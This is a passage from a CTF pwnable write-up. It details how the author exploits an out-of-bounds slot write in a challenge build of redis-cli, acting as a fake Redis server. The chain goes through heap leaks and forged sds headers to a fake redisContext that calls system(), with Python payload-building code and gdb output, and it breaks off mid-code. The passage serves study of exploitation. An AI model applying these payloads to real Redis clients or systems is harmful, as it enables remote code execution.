Sitemap
Vxmp

Vxmp

just a guy that knows binary exploitation

COMPFEST 2026 — PWNABLE WRITEUP

86 min readSep 2, 2026

--

Press enter or click to view image in full size
trust me boss, it will work

Hi guys, it’s me again, Vxmp from “GrimSec Ops”. In this event, I have solved 4 Binary Exploitation challenges, one being a 0-day vulnerability!

Let’s take a deep dive through each challenge, shall we?

Problem list (4)

  • redis-cli 0-day
  • menfess
  • 未来日記
  • matrix

redis-cli 0-day

I was the 20th person to solve this challenge

ADDITIONALLY, This challenge has two solutions (wait, what?)

First solution (by me):

Initial reconnaissance

We are given a zip file named ‘redis-ctf.zip’, after unzipping, we will see 5 files extracted.

$ unzip redis-ctf.zip
inflating: Dockerfile
inflating: README.txt
inflating: entrypoint.sh
inflating: redis-cli
inflating: run.sh

redis-cli is the target binary here

After running file:

$ file redis-cli
redis-cli: ELF 64-bit LSB pie executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=ba8766909c36e2cf0841b7a817d90bcb76b78b1b,
for GNU/Linux 3.2.0, with debug_info, not stripped

with debug_info, not stripped is an absolute gift from the gods 🙏

Full DWARF means gdb gives me struct layouts and source line numbers for free

$ checksec --file=redis-cli
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

From this checksec results, we see that everything is on 😭

  • RELRO enabled = GOT (Global Offset Table) is read-only
  • PIE+ASLR = No fixed address
  • Shadow Stack (SHSTK) & IBT enabled = atleast no weird stuff like ret2–67 techniques or whatever
$ cat README.txt
This version of redis-cli was compiled with MALLOC=libc, as the default jemalloc
setting prevented the bug from being exploited.

Because I'd rather not have you find an actual 0 day to exploit this, the bug is in
**clusterManagerNodeLoadInfo**. I don't think this bug is exploitable on default
builds, but if you manage to do so dm me (zafirr) on discord cause I want to know
how you did it.

Holy hint!!!

  • Bug is in **clusterManagerNodeLoadInfo** , we don’t need to hunt for bugs!
  • **MALLOC=libc** — Redis normally bundles jemalloc and in this case the challenge author swapped it for glibc malloc so the bug is exploitable. In this case, we are pretty sure that the challenge is probably about glibc heap metadata and relies on glibc’s deterministic chunk layout

run.sh file:

$ cat run.sh
#!/bin/sh
HOST=127.0.0.1
PORT=6379

printf "Enter host address: "
read HOST
printf "Enter port number: "
read PORT

./redis-cli --user compfest --pass redis_cli_0_day_wow! --cluster info $HOST $PORT \
< /dev/null > /dev/null 2>&1

again, we see 3 things

  1. we supply the host and port input
  2. > /dev/null 2>&1 discards stdout and stderr — whatever it prints we never see and the only channel back to us is the TCP socket it opens to our server
  3. $HOST $PORT are unquoted, which means we could inject extra words into the argv

Dockerfile:

FROM ubuntu@sha256:678c6550cc43645e08669028bc177f50be4e7c5b8cca677067b1914d4afc7a03
RUN apt-get install -y --no-install-recommends socat
RUN useradd --create-home --shell /bin/bash ctf
...
EXPOSE 1337

Hm, they use a base image.. let’s see what version of glibc and ubuntu 🙏

$ docker run --rm ubuntu@sha256:678c... sh -c "cat /etc/os-release|head -3; ldd --version|head -1"
PRETTY_NAME="Ubuntu 26.04 LTS"
ldd (Ubuntu GLIBC 2.43-2ubuntu2) 2.43
my honest reaction

glibc 2.43?? thats modern as hell 💀

Why? tcache with safe-linking (PROTECT_PTR ), tcache keys for double-free protection, _int_free restructured

What does this mean? It implies that we have to carefully pick the technique for the exploitation method otherwise our solve script is gonna get cooked ☠️

Also, the docker image already has socat installed. If I get code execution, socat would probably be the exfil tool

entrypoint.sh file:

FLAG_PATH=/home/ctf/flag.txt
if [ ! -r "$FLAG_PATH" ]; then ... exit 1; fi
exec socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"./run.sh",su=ctf

ASLR is rerolled everytime because of that one single cmd, fork 💀

So any leak must be used in one connection, no cross-connection bruteforcing

The entire threat model is literally inverted (what??? 💀)

Normally, you send bytes into the server. In this case, redis-cli acts as the client and we are the server. We control:

  • every byte of every reply
  • the size of those replies
  • the timing/chunk of every reply
  • how many nodes the cluster claims to have, hence how many times redis-cli connects back to me
  • (via unquoted $HOST ) extra argv obviously

And what do I get? nothing on stdout/stderr, only what redis-cli sends me on the wire💀

So the leak has to come out of a redis command, which means it has to come out of this, in hiredis/net.c :

ssize_t redisNetWrite(redisContext *c) {
ssize_t nwritten = send(c->fd, c->obuf, hi_sdslen(c->obuf), 0);
...
}

hi_sdslen(c->obuf). If wecan make that number bigger than the real command, send() walks off the end of the output buffer and hands me the adjacent heap
That single observation is the spine of the entire exploit — but it took a long
detour to get a usable version of it though 😂

Finding the bug!!!

Let’s take a deep dive into redis-cli source code.

After a bit of enumeration, we discovered that the redis-cli version was 8.10.0, so I decided to just grab it’s entire source code from github.

curl -sL -o redis-cli.c https://raw.githubusercontent.com/redis/redis/8.10.0/src/redis-cli.c

clusterManagerNodeLoadInfo sends CLUSTER NODES and parses the reply line by line
Each line is name addr flags master_id ping_sent ping_recv config_epoch link_state slots…
For the line flagged myself, the trailing slot definitions get parsed:

if (i == 8) {
int remaining = strlen(line);
while (remaining > 0) {
p = strchr(line, ' ');
if (p == NULL) p = line + remaining;
remaining -= (p - line);
char *slotsdef = line;
*p = '\0';
...
if (slotsdef[0] == '[') {
/* [slot->-node] migrating / [slot-<-node] importing */
} else if ((dash = strchr(slotsdef, '-')) != NULL) {
p = dash;
int start, stop;
*p = '\0';
start = atoi(slotsdef);
stop = atoi(p + 1);
node->slots_count += (stop - (start - 1));
while (start <= stop) node->slots[start++] = 1; /* <-- (1) */
} else if (p > slotsdef) {
node->slots[atoi(slotsdef)] = 1; /* <-- (2) */
node->slots_count++;
}
}
}

Both (1) and (2)index node->slots with a value straight out of atoi() on my data. No range check anywhere!!! 🎉

Let’s use gdb (GNU debugger) to get it’s entire struct from DWARF:

$ gdb -batch -ex "ptype /o struct clusterManagerNode" redis-cli
/* offset | size */ type = struct clusterManagerNode {
/* 0 | 8 */ redisContext *context;
/* 8 | 8 */ hisds name;
/* 16 | 8 */ char *ip;
/* 24 | 4 */ int port;
/* 28 | 4 */ int bus_port;
/* 32 | 8 */ uint64_t current_epoch;
/* 40 | 8 */ time_t ping_sent;
/* 48 | 8 */ time_t ping_recv;
/* 56 | 4 */ int flags;
/* XXX 4-byte hole */
/* 64 | 8 */ list *flags_str;
/* 72 | 8 */ hisds replicate;
/* 80 | 4 */ int dirty;
/* 84 | 16384 */ uint8_t slots[16384];
/* 16468 | 4 */ int slots_count;
/* 16472 | 4 */ int replicas_count;
/* XXX 4-byte hole */
/* 16480 | 8 */ list *friends;
/* 16488 | 8 */ hisds *migrating;
/* 16496 | 8 */ hisds *importing;
/* 16504 | 4 */ int migrating_count;
/* 16508 | 4 */ int importing_count;
/* 16512 | 4 */ float weight;
/* 16516 | 4 */ int balance;
/* 16520 | 8 */ hisds server_version;
/* total size (bytes): 16528 */

cool, we see slots at +84 in a 16528-byte heap object

two important property of the primitive that matters later on.. :

  • atoi returns int glibc implements this as (int)strtol(…) strtol happily parses 4294811132 into a long and the cast truncates to 0xFFFFFFFA...
  • a negative index — so wecan write below the struct too, not just above. Though we cannot just write -6 as a token because strchr(slotsdef,'-') would see the minus and take the range branch instead. Encoding it as 2**32+idx sidesteps it entirely
  • the only value ever written is 1 . not a pointer. not a length. just one byte, value 0x01💀at an index we choose. That constraint shapes the next 20hours of my solve progress 🙏

So, write 0x01 at node->slots+idx , idx ∈ [-2³¹,2³¹) i.e. anywhere in a +- 2gb window around the node. Range write gives us contiguous runs of 0x01

Ok, let’s try to write a 40-line fake redis server that answers AUTH/INFO/CLUSTER NODES/DBSIZE and make the CLUSTER NODES reply claim a slot index of 999999999:

aaaa...aaaa 127.0.0.1:7777@17777 myself,master - 0 0 1 connected 999999999
$ ./redis-cli --user compfest --pass redis_cli_0_day_wow! --cluster info 127.0.0.1 7778
Segmentation fault (core dumped)

Pretty much confirmed this bug in 10 minutes, everything after this will be pure exploitation now!! 🙏

Three things I wanted before writing a single exploit byte are:

(A) Exact target libc: I decided to pull the pinned image and copied its loader and libc out:

docker create --name ex1 ubuntu@sha256:678c...
docker cp ex1:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
docker cp ex1:/lib64/ld-linux-x86-64.so.2 ./ld.so

(B) A locally debuggable binary using that exact libc: The current host I’m on is Ubuntu 24.04 / glibc 2.39 but the target is 2.43.. Which means: Different malloc = different layout = worthless. Patchelf comes into use and it fixes the entire issue for us!!

cp redis-cli redis-cli-l
patchelf --set-interpreter $PWD/ld.so --set-rpath $PWD redis-cli-l
$ ldd ./redis-cli-l
libc.so.6 => /home/ubuntu/redisCLI-ctf/work/libc.so.6

Now gdb ./redis-cli-l debugs against the target’s allocator with full symbols

( C ) — a scriptable malicious server

I also built a set of gdb probes that dump at any breakpoint:

  • the heap base and every chunk (addr , size , first 24 bytes, ASCII)
  • for every clusterManagerNode : node , ctx , reader reader->buf , it’s sds type/len/alloc, obuf , obuf ‘s chunk
  • every 8-byte value in a region classified as PIE/LIBC/HEAP/STACK by cross-referencing info proc mappings

That last one is what eventually found the libc pointer. This is why building good instrumentation early paid for itself five times over (literally 🙏 😭)

The entire primitive, precisely(?)

Everything is relative to node->slots , i.e. node+84 . A slot token N writes 0x01 at node+84+(int)N

Reachable & interesting stuff:

| target                           | slot index      | note                                   |
|----------------------------------|-----------------|----------------------------------------|
| `node->context` | −84 | pointer, but i can only set bytes to 1 |
| `node->name` | −76 | ditto |
| `node->flags` | −28 | int |
| `node->slots_count` | +16384 | int |
| `node->friends` | +16396 | `list*` |
| `node->migrating` / `importing` | +16404 / +16412 | `hisds*` |
| the node's own malloc chunk size | −92 .. −85 | classic |
| **anything else in the heap** | ±2 GB | ← the real primitive |

The thing that isn’t reachable is libc. The heap sits at 0x55... and libc at 0x7f... , about 2.9TB apart. int indexing caps us at +- 2GB so no direct writes to libc data, ever 🙏

Reachable but randomized: the binary’s .data / .bss sit a few MB below the heap, but the gap is brk randomization (up to 32MB, ~8192 possible values). So I decided to sketch a crash oracle to just binary-search that entire gap — probe an address, and if the process survives, the next friend node connects back and tells me so; 13 probes and I’d know the heap<->PIE delta. I never needed it, but its kinda a nice trick for this challenge shape:

The friend list gives you an in-process boolean oracle with unlimited queries.

The literal leak problem and dead ends I’ve encountered

Apparently, I needed hi_stslen(c->obuf) to be large before a command is sent. Here is everything I’ve tried and why it failed.

hisds (hiredis’ vendored sds) headers, packed, header sits immediately before the data pointer:

| type | flags | header |            len field           | max len |
|------|-------|--------|--------------------------------|---------|
| 5 | 0 | 1 B | in the flags byte (`flags>>3`) | 31 |
| 8 | 1 | 3 B | `uint8` at `s[-3]` | 255 |
| 16 | 2 | 5 B | `uint16` at `s[-5]` | 65535 |
| 32 | 3 | 9 B | `uint32` at `s[-9]` | 4 G |
| 64 | 4 | 17 B | `uint64` at `s[-17]` | huge |

Dead end 1

c>obuf at rest is hi_sdsempty() , which hiredis deliberately makes type 8 (not type 5) since type 5 isnt good at appending. So len is a uint8 at 0buf[-3] , which is the first byte of the chunk’s user data — perfectly writable in the primitive.

Though, I could only write the value 1. curlen=1 leaks one byte. And hi-sdscatlen immediately overwrites len with the real length anyway. = useless 💀

Dead end 2

Apparently, I can set the low byte of the c->obuf pointer to 0x01 , moving it to T = (obuf & ~0xff) | 1 . Since the heap layout is deterministic and the heap base is page-aligned, T is a known heap offset. If controlled data sits at T, I forge a header with a huge len and send() dumps memory.

There are three problems, and they had to be solved simultaneously:

  1. T must contain attacker-controlled data. Empirically, across dozens of configurations, T somehow always landed in hiredis internals (the redisReadTask array, the resolver’s cached buffer, a freed tcache chunk) but never in my payload (FAHHHH 🙏)
  2. The sds flags byte must encode a big type. Type 64 needs flags=4. I can only write 0x01. So unless the byte at T-1 is already a good value from my own data, I’m stuck on type 8 ( flags=8 ) ,capped at 255.
  3. The free alignment trap: After a successful write() , hiredis does hi_sdsfree(c->obuf) → free(s — hdrlen). T=1(mod16) always (its ..00|1 ). So free(T — hdrlen) is 16-byte-aligned only for hdrlen ∈ {1, 17} — type5 (len ≤ 31 which is useless) or type 64 (needs flags=4 which I cannot write either). Type 8/16/32 all give a misaligned pointer and glibc kills the process with free(): invalid pointer before I can use the leak

These traps is worth stating as a rule: on glibc, a fake free() must be 16-byte-aligned and that alone rules out three of the five sds types here.

Dead end 3

The AUTH command bytes (which I fully control via the unquoted $HOST argv injection) live in a freed obuf in the low heap.

The question is:

Could T land there?

Apparently.. Sometimes yes — but a forged chunk header needs a plausible small size like 0x91 , which contains NUL bytes, and a C-string argv cannot carry NULs. Only the binary-safe buffers (the reader buffer, reply->str) can hold a forged chunk header. This is a dead end for me, but at least it taught me that which buffers are binary-safe which mattered a lot later!!

Dead end 4

clusterManagerLoadInfoFromNode connects to each friend at ip:port . If I could get leaked bytes into freind->port , redis-cli would dial attacker:<leaked 16bits> and each connection would leak 16 bits. Kinda cute, and within one process it would even work (ASLR is fixed per connection, and I get many friends) but port is set from my own atoi and getting uncontrolled memory into it needs chunk overlap, which needs a leak. Really circular, I guess.. 💀

Dead end 5

Overwrite the NUL terminator of friend->ip so getaddrinfo() reads past the end and resolves <garbage>.attacker.com . Heap bytes aren’t valid DNS labels, glibc rejects most of them before querying, and container egress DNS isn’t guaranteed. This idea will just get completely dropped by me, obviously.

Dead end 6

Could I get RCE with only relative corruption?

To call anything I need a code address. The heap contains exactly two kinds of code-adjacent pointers — redisContext.funcs and redisReader.fn — and both point to tables in .data.rel.ro, not to the code. In this binary, we have full RELRO which makes that specific region read-only, and pointing funcs into the GOT would give me libc functions without knowing libc — genuinely promising — but it still needs PIE , and PIE never showed up in any leak window I could reach. Again, this idea is DROPPED.

At this point I only had a beautiful arbitary-0x01 write and no way to read a single byte. That was a very awesome progress, isn’t it?

The absolute godly breakthrough!!

After reading the source code, I discovered that..

In redisReaderFeed :

int redisReaderFeed(redisReader *r, const char *buf, size_t len) {
if (r->err) return REDIS_ERR;
if (buf != NULL && len >= 1) {
/* Destroy internal buffer when it is empty and is quite large. */
if (r->len == 0 && r->maxbuf != 0 && hi_sdsavail(r->buf) > r->maxbuf) {
hi_sdsfree(r->buf);
r->buf = hi_sdsempty();
r->pos = 0;
}
newbuf = hi_sdscatlen(r->buf, buf, len); /* <-- */
r->buf = newbuf;
r->len = hi_sdslen(r->buf);
}
return REDIS_OK;
}

and at the bottom of hi_sdsMakeRoomFor :

hisds hi_sdsMakeRoomFor(hisds s, size_t addlen) {
size_t avail = hi_sdsavail(s);
if (avail >= addlen) return s; /* no realloc, no move */
...
}

static inline size_t hi_sdsavail(const hisds s) {
...
case HI_SDS_TYPE_32: { HI_SDS_HDR_VAR(32,s); return sh->alloc - sh->len; }
}

alloc and len are uint32_t . If len > alloc , alloc — len wraps to ~4GB. Then avail >= addlen is always true, hi_sdsMakeRoomFor returns the buffer untouched, and hi_sdscatlen does:

memcpy(s + curlen, t, len);     /* curlen = the corrupted length */

memcpy(reader_buf + 65792, <bytes I just sent>, n) . The reply body I send is copied to a fixed heap address far outside the buffer. That is an arbitrary-content write, built entirely out of 0x01 bytes.

Three slots writes should set it up, all inside node A’s redisReader:

| field                       | address      | write  | result                                                    |
|-----------------------------|--------------|--------|-----------------------------------------------------------|
| `r->buf` hisds `len` byte 1 | `rbuf-8` | `0x01` | |
| `r->buf` hisds `len` byte 2 | `rbuf-7` | `0x01` | `len = 0x010100 = 65792 > alloc = 65536` |
| `r->len` | `reader+152` | `0x01` | non-zero ⇒ the "destroy internal buffer" reset is skipped |
| `r->pos` byte 1 | `reader+145` | `0x01` | `pos = 256` |

Why r->len matters? With len>alloc, hi_sdsavail() underflows, so hi_sdsavail(r->buf) > r->maxbuf (16kb) is true, and if r->len == 0 hiredis would free my buffer and start fresh — destroying the corruption before using it. Making r->len non-zero skips that branch. One byte and the whole technique either lives or dies on it 💀 💀

Why r->pos matter? The fed bytes land 64kb away, so the parser at r->buf + r->pos never sees them. It reads stale buffer content, which is my own earlier payload. So I decided to plant a valid :0\r\n at buffer offset 256 and point pos there. DBSIZE returns integer 0, clusterManagerShowClusterInfo is happy and the iteration continues, yay 🎉

Note the constraint that shaped the rest of the exploit: because every byte I write is 0x01, the corrupted length can only be a value made of 0x00/0x01 bytes — {1,0x101,0x10000,0x10001,0x10100,0x10101,0x1000000,...} . The write destination is quantized. 💀 💀

First attempt fail: redisGetReplyFromReader runs first

After I implemented my idea:

after A DBSIZE: mem at rbuf+0x10100: 5858585858...3a300d00636363...
r->len=0x1 r->pos=0x104 reply type 3 integer 0

r->pos advanced by 4 (it parsed my planted :0\r\n) butr->len was still 1 — the feed never happened, and my Z’s were nowhere. The 64 bytes at the target were old payload, not my blob yay

Reading redisGetReply explains why:

int redisGetReply(redisContext *c, void **reply) {
/* Try to read pending replies */
if (redisGetReplyFromReader(c,&aux) == REDIS_ERR) return REDIS_ERR; /* <-- first! */
if (aux == NULL && c->flags & REDIS_BLOCK) {
do { redisBufferWrite(c,&wdone); } while (!wdone); /* only if nothing parsed */
do { redisBufferRead(c); ... } while (aux == NULL);
}

It parses before writing. My planted :0\r\n was a complete reply, so hiredis returned it immediately and never sent DBSIZE and never read anything..

The fix is a one-byte change in intent: make the first parse incomplete so the write and read still happen, and let it complete only after the feed. Set r->len == r->pos == 256 then r->len — r->pos == 0 , seekNewline() gets a zero-length window and returns NULL, the parse yields nothing, DBSIZE goes out, my reply comes in (feed → OOB write), r->len becomes huge, and the second parse finds :0\r\n at offset 256 and succeeds.

r->len = 0x0100 is written by setting byte 1 (reader+153) instead of byte 0

Arbitary write.. CONFIRMED

after A DBSIZE: mem at rbuf+0x10100 (heap+0x18ca9):
5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a...
r->len=0x10140 r->pos=0x104
reply type 3 integer 0

64 bites of Z at a chosen heap address, the reply still parsed as integer 0, the process alive and continuing to the next node. Arbitrary-content heap write, built from a primitive that can only write the byte 0x01.

Ok now, where does the write land??

dest = reader_buf + corrupted_len and corrupted_len is quantized to those 0x00/0x01 byte values. With a 64kb reader buffer ( alloc=0x10000 ) the only usable value is 0x010100=65792 so:

dest is always ~256 bytes past the end of the read buffer

Which is a problem, because a 64kb buffer is allocated near the top of the heap, and everything I want to corrupt — redisContext, clusterManagerNode stuff lives below it. memcpy only goes forward, sadly.

This made me spent quite a long time. Things I measured and used:

  • Whats actually at dest: With node A’s buffer at heap+0x8ba9, dest=heap+0x18ca9 , which is inside the freed CLUSTER NODES reply->str — dead memory, useless on its own, but it’s the region the friend connections carve their allocations from!!
  • freeReplyObject frees a ~40kb chunk, and the friend’s redisContext readers, tasks arrays and obuf ‘s get carved out of it in a deterministic order.

So the plan became: aim dest at the obuf chunk of a specific friend node and forge its sds header there, turning that node’s next DBSIZE into a leak.

The alignment math calc:

  • The obuf chunk is 16byte aligned; obuf = chunk + 0x13 (0x10 chunk header + 3-byte type-8 sds header)
  • I need to write chunk+0x18 (size field, keep it 0x21) and chunk+0x10...0x12 ( len , alloc , flags)
  • dest = 9 (mod16) for a type-32 reader buffer ( hdrlen 9, chunk-aligned base).
  • So dest = obuf_chunk — 7 lands 7 bytes into the previous chunk’s tail and lets a 26-byte-blob cover: 7 junk bytes, 8 bytes of prev_size (unused), 8 bytes of size=0x21, then len/alloc/flags.

That 26-byte-blob is stage 1:

def blob1():
b = bytearray(26)
struct.pack_into('<Q', b, 15, 0x21) # obuf chunk size, restored exactly
b[23] = 0xEF # sds len = 239
b[24] = 0xFF # sds alloc = 255
b[25] = 0x01 # sds flags = type 8
return bytes(b)

len=239 , alloc=255 gives avail=16 , exactly the size of *1\r\n$6\r\nDBSIZE\r\n . So hi_sdscatlen does not realloc (which would move the buffer and reset the length), the command lands at obuf+239 , the length becomes 255, and send() emits 239 bytes of heap followed by the real command. And because hdrlen=3 and obuf-3 is the chunk’s data pointer, the subsequent hi_sdsfree(c->obuf) is a legitimate free — process survives!! That’s why 239 and it’s not 255.

Why not a bigger leak??

Type 8 caps len at 255. Type 16/32 would need the header at obuf-5 / obuf-9 , i.e. inside the chunk’s size field, and then hi_sdsfree frees a misaligned pointer and glibc aborts. 239 bytes it is.

Medium Buffer Trick

Aiming stage 2 was harder, because after the leak I need to write pointers into a live structure, and those all live low in the heap.

The insight: the quantization depends on the buffer’s sds type. For a type 16 buffer ( alloc<65536 ), len is a uint16 at rbuf-5..4 . If I arrange alloc == len == A where Ais a multiple of 256, then setting byte 0 of len to 0x01 gives len = (A & 0xff00) | 1 = A + 1 > A . Underflow achieved with a single byte write and:

dest = rbuf + A + 1 = (end of this chunk) + 6 = (next chunk's data) - 10

A small buffer is allocated in the low heap, right where the friend contexts are. So a medium node’s OOB write lands 10 bytes before the next chunk’s data — and in practice that next chunk is the next friend’s redisContext.

Getting alloc == len exactly is where the paced server earns its keep. hiredis grows the reader buffer as newlen = (len+addlen)*2 whenever avail<addlen and ``one read() = one feed. If we can control the exact size of every chunk we send, then we could control the entire realloc history — therefore the final alloc and therefore the whole heap layout!

For this, I wrote a small simulator of hiredis’ sds growth ( sdssim.py ) so I could solve for a schedule offline instead of guessing the entire thing myself:

class SDS:
def catlen(self, n):
if self.alloc - self.len < n:
newlen = self.len + n
newlen = newlen*2 if newlen < 1024*1024 else newlen + 1024*1024
t = reqtype(newlen); self.type = 8 if t == 5 else t
self.alloc = newlen
self.len += n

Node A’s schedule: derived from it:

| phase                   | chunks sent                 | buffer state after                                                              |
|-------------------------|-----------------------------|---------------------------------------------------------------------------------|
| AUTH reply | `[5]` | `len=5, alloc=10` |
| INFO reply (16379 B) | `[8187, 8192]` | `alloc=16384`; reply consumed, `pos ≥ 1024` ⇒ `sdsrange` trims ⇒ `len=0, pos=0` |
| CLUSTER NODES (40960 B) | `[8192, 8192, 16384, 8192]` | growth at `len+addlen = 32768` ⇒ **`alloc = 65536`, type 32** |

and for a medium node ( alloc = 512 ):

def plan_M(alloc):                 # alloc multiple of 256, < 1024
c1 = alloc//2 - 5 # AUTH already put 5 bytes in
c2 = alloc - (5 + c1)
return {'auth':[5], 'nodes':[c1, c2]}, c1 + c2 # -> [251, 256], wire = 507

<1024 matters because the trim in redisReaderGetReply only fires at r->pos >= 1024, so staying under it keeps len accumulated at exactly alloc , which is what makes the +1 trick work!

The pacing also has to survive the networking issue, which I’ll explain it later.

Getting libc into leak window

Now the hard question, what is actually in those 239 bytes?

I extended the probe to classify every qword in each node’s window as PIE/LIBC/HEAP by cross-referencing info proc mappings:

node ctx=0x4150  obuf=0x49b3  : {'HEAP': [(37,'0x5ce0'), (45,'0x4271')]}
node ctx=0x57e0 obuf=0x5ca3 : {'HEAP': [(29,'0x57c0'), (37,'0x63f0'), (45,'0x22bc0')]}
...
node ctx=0x1a900 obuf=0x1ad23 : {'HEAP': [...], 'LIBC': [(125,'0x7ffff7e12ac8'),
(133,'0x7ffff7e12ac8')]}

Only the last node’s window contains libc pointers. Every other node’s window is heap pointers and freed-chunk noise.

The reason is structural and, once seen, obvious..
The friend connections carve allocation sout of the big freed reply->str. glibc’s last remainder chunk sits in the unsorted bin with fd = bk = &main_arena.bins[...] and that head address moves up every time another allocation is carved. So the remainder head — the only main_arena pointer in the neihgbourhood always end up just past the last node’s allocations. Any earlier node’s windows has had its libc pointers overwritten by the next node’s structures.

And no window anywhere contained a PIE pointer: ctx->funcs sits at ctxx+0 but obuf is allocated after the context and after the reader and the task array so the leak (which reads forward from the obuf never covers a funcs field. That killed the GOT_indirection idea from dead end 6 for good — and made it a hard requirement that libc must come out of stage 1, because with libc I wouldn’t need PIE at all (I build a fake redisContext from scratch; never had to preserve a real funcs hahahah)

So the requirement crystallized into one nasty simultaneous condition:

The node whose obuf I corrupt in stage 1 must be the last node, and dest1 = A_rbuf + 0x10100 must land exactly on that node’s obuf chunk − 7

dest1 is fixed by node A’s buffer position. The last node’s obuf position depends on how much of the heap the earlier friends consumed. These two numbers had to be made equal.

Heap layout sweep

Knobs available, each shifting the layout by a different amount:

  • NFRIENDS — number of friend lines in node A’s reply (each adds a 0x40a0 node struct and one connect-back);
  • which friends get a “medium” (512-byte read buffer) reply vs a pain one — each medium friend consumes ~0x110 more low-heap;
  • PLAINPAD — bytes of padding on the plain friends’ replies, which changes their reader-buffer alloc in finer steps!
  • node A’s CLUSTER NODES wire size;
  • (and, during research, the argv-injected AUTH string length, which moves the whole early heap).

I scripted the search: for each configuration, run under gdb, break at clusterManagerShowClusterInfo and report dest1 , every node’s obuf chunk, and whether each node’s window contains libc.

Coarse pass — number of medium friends k with 8 friends:

k=1  lastobuf=0x18bd0 libc=True  shift=-224
k=2 lastobuf=0x18cf0 libc=True shift= +64
k=3 lastobuf=0x18eb0 libc=True shift=+512
k=4 lastobuf=0x18fd0 libc=True shift=+800

Straddling zero between k=1 and k=2 . Fine pass on PLAINPAD with k=1:

pad=2   lastobuf=0x18c30  shift=-128
pad=4 lastobuf=0x18bd0 shift=-224
pad=10 lastobuf=0x18c30 shift=-128
pad=16 lastobuf=0x18c30 shift=-128
pad=18 lastobuf=0x18cb0 shift= 0 <--

NFRIENDS=8, one medium friend (#1) , PLAINPAD=18 , dest1+7 is exactly node 8’s obuf chunk, node 8 is the last node, and its window has main_arena at offsets 125 and 133

The final layout, from the chunk map:

heap+0x18cb0  sz=0x20    000001005055...        <- node8 obuf chunk (len/alloc/flags)
heap+0x18cd0 sz=0x20 d82ae1f7ff7f0000 ... <- main_arena pointers (LIBC)
heap+0x18cf0 sz=0x20 7045775555550000 ... <- listNode {prev,next,value=node8}
heap+0x18e60 sz=0x210 ...+OK..$499..zzzz <- node8 reader buf (alloc 512, type16)
heap+0x19070 sz=0x9b40 c82ae1f7ff7f0000 ... <- the big free remainder chunk
heap+0x22bb0 sz=0x40a0 ... <- node1's clusterManagerNode

and the derived constants:

A_RBUF   = 0x8ba9        DEST1 = A_RBUF + 0x10100 = 0x18ca9
N8_OBUF = 0x18cc3 N8_OBUF_CHUNK = 0x18cb0 (= DEST1 + 7)
N8_RBUF = 0x18e75 DEST2 = N8_RBUF + 0x200 + 1 = 0x19076
NODE1 = 0x22bc0

Node 8’s slot tokens have to each backwards to its own reader (at heap+0x8920 , far below its node struct at heap+0x3f020), hence the negative-index encoding:

def neg(i): return i if i >= 0 else (1<<32) + i
N8_SLOTS = [neg(N8_RBUF-5 - 0x3f074), # 4294811132 -> hisds len byte 0
neg(N8_READER+145 - 0x3f074), # 4294744381 -> r->pos byte 1
neg(N8_READER+153 - 0x3f074)] # 4294744389 -> r->len byte 1

All slot tokens are zero-padded to 10 digits so the payload length, and therefore the whole layout is independent of those values.

Constant harvesting

freechunk_size   heap+0x19078 = 0x9b41
freechunk_fd heap+0x19080 = libc+0x212ac8
freechunk_bk heap+0x19088 = libc+0x212ac8
node1_prevsize heap+0x22bb0 = 0x9b40
node1_size heap+0x22bb8 = 0x40a0
node1_context heap+0x22bc0 = heap+0x53e0
leak[77] = heap+0x3f020 (node8's own struct -> heap base)
leak[125]/[133] = libc+0x212ac8 (main_arena -> libc base)
$ readelf --dyn-syms libc.so.6 | grep -w system
1064: 000000000005c560 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5

One issue that cost me a literal debugging cycle: under gdb the leak offsets differ. In gdb the libc pointer showed at offsets 29/37; in a real run it was at 125/133 (gdb’s disabled ASLR and slightly different environment change which free chunk holds the remainder head). Offsets 125/133 are the ones that hold in production. Lesson here is that, you should validate leak offsets outside the debugger before trusting them 😔

Stage 1 & 2 exploitation

Command sequence per connection, confirmed by breaking on redisCommand:

conn 0 (node A):    AUTH -> INFO -> CLUSTER NODES -> ... -> DBSIZE
conn 1..8 (friends): AUTH -> CLUSTER NODES -> ... -> DBSIZE

clusterManagerShowClusterInfo issues the DBSIZEs in list order — A then friends 1..8 — which is what gives me two ordered write windows.
Stage 1 — node A’s DBSIZE reply is the 26-byte blob1() . Fed via the corrupted reader, it lands at heap+0x18ca9 and forges node 8’s obuf header.

Leak — node 8’s DBSIZE therefore transmits 239 bytes of heap before the command. My server parses commands out of a raw byte stream precisely so it can pick up the garbage prefix:

[8] LEAK 239 bytes
[8] libc=0x7c32e29f2000 heap=0x58658351f000 system=0x7c32e2a4e560

Stage 2 — node 8’s own reader was corrupted by its own slot tokens, so its DBSIZE reply is a 39 762-byte blob written at heap+0x19076 , spanning the free remainder chunk all the way to node1->context :

def blob2(heap, libc):
n = (NODE1 + 8) - DEST2 # 39762
b = bytearray(n)
# 1. keep the free chunk's header valid (glibc will walk it again)
put(FREECHUNK+8, q(FREE_SIZE)) # 0x9b41
put(FREECHUNK+16, q(libc+LIBC_UNSORTED)) # fd -> main_arena
put(FREECHUNK+24, q(libc+LIBC_UNSORTED)) # bk -> main_arena
# 2. a complete fake redisContext, safe for redisFree()
ctx = bytearray(272)
struct.pack_into('<Q', ctx, 0, heap+FAKEFUNCS) # funcs
struct.pack_into('<i', ctx, 140, -1) # fd = REDIS_INVALID_FD
struct.pack_into('<Q', ctx, 256, heap+CMDSTR) # privctx = the command
put(FAKECTX-8, q(0x121)) # size for the final hi_free(c)
put(FAKECTX, bytes(ctx))
# 3. fake redisContextFuncs: close = NULL, free_privctx = system
fn = bytearray(48)
struct.pack_into('<Q', fn, 8, libc+LIBC_SYSTEM)
put(FAKEFUNCS, bytes(fn))
put(CMDSTR, cmd + b'\0')
# 4. restore node1's chunk header, then hijack node1->context
put(NODE1_CHUNK, q(NODE1_PREVSZ))
put(NODE1_CHUNK+8, q(NODE1_SIZE))
put(NODE1, q(heap+FAKECTX))
return bytes(b)

Every field of the fake context is chosen again redisFree:

void redisFree(redisContext *c) {
if (c->funcs && c->funcs->close) c->funcs->close(c); /* close = NULL -> skipped */
hi_sdsfree(c->obuf); /* NULL -> returns */
